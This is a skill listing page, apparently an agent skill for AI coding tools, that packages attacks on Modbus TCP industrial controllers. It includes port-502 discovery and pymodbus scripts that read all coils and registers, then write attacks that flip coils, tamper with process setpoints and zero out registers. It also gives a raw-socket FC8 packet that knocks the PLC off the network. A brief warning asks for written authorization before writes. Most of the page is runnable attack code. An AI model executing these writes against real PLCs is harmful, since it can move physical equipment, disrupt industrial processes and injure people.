# Ics Modbus

> Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.

- Skill: `purpleailab/ics-modbus` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/ics-modbus`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/ics-modbus/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/ics-modbus

---


# Modbus TCP Attack

Modbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable.

## Discover

```bash
# Scan for port 502
nmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0/24

# Or with Shodan / Censys: port:502 country:XX
# Internet-facing Modbus is still depressingly common (search "modbus" on Shodan)
```

## Read everything

```bash
# Python pymodbus
python3 -c '
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
print("Coils 0-100:",   c.read_coils(0, 100).bits)
print("Discrete 0-100:", c.read_discrete_inputs(0, 100).bits)
print("Hold regs:",      c.read_holding_registers(0, 100).registers)
print("Input regs:",     c.read_input_registers(0, 100).registers)
c.close()
'

# Or with mbtget (CLI)
mbtget -r1 -a 0 -n 100 10.0.0.5  # read coils
mbtget -r3 -a 0 -n 100 10.0.0.5  # read holding regs

# nmap script enum
nmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5
```

## Identify the device (FC43 / MEI)

```bash
# Function code 43 (Read Device Identification) returns vendor / model / firmware
python3 -c '
from pymodbus.client import ModbusTcpClient
from pymodbus.mei_message import ReadDeviceInformationRequest
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
r = c.execute(ReadDeviceInformationRequest(read_code=1))
print(r.information)
c.close()
'
# Output: {0: "Schneider Electric", 1: "BMX-P34-2020", 2: "v3.20", ...}
```

## Write attacks

### Single coil flip (DO output)
```python
c.write_coil(address=10, value=True)   # flip coil 10 ON
# In a PLC, coil 10 might be: motor start, valve open, breaker close
```

### Tamper holding registers (process setpoints)
```python
c.write_register(address=100, value=9999)   # often a setpoint or limit
```

### Flood diagnostic FC8 sub-function 4 ("Force Listen Only Mode")
```python
# Stops the PLC from responding to ANY Modbus request — soft DoS
# Use raw socket:
import socket, struct
s = socket.socket()
s.connect(("10.0.0.5", 502))
mbap = struct.pack(">HHHB", 1, 0, 6, 1)
pdu  = struct.pack(">BHH", 8, 0x0004, 0x0000)
s.send(mbap + pdu)
```

### Bulk-write registers (often unauthenticated)
```python
c.write_registers(address=0, values=[0]*100)   # zero-out 100 registers
```

## Common findings

| Finding | Impact |
|---|---|
| Modbus on internet | Full process control of whatever the PLC drives |
| No firewall between IT and OT VLAN | Lateral move from compromised desktop to PLC |
| Modbus over serial via TCP gateway (Moxa, Lantronix) | Same primitives over WAN |
| HMI uses default Modbus polling | Coil writes survive HMI refresh — persistent tamper |
| Unit ID 0 broadcast | Single packet reaches every slave (no response, but write succeeds) |

## OPSEC + safety

- **Real-world warning**: writing to a coil/register on a live PLC may move a physical actuator. Confirm scope authorization for write-class testing IN WRITING before any FC5/6/15/16. Read-only is generally safe; writes can hurt people.
- Modbus has no audit log. Defenders use IDS (Nozomi, Claroty, Dragos) — `modbus_function_5` and `modbus_function_15` are distinctive in their telemetry.
- Many PLCs lack rate limiting — connection floods can OOM the network stack and freeze the device for the duration of the attack.

## References

- "Modbus Hacking" — Joel Langill (recurring S4 Conference talks)
- pymodbus docs — github.com/pymodbus-dev/pymodbus
- nmap NSE modbus-discover.nse
- IEC 62443 (defender baseline; useful for understanding what's in-scope)

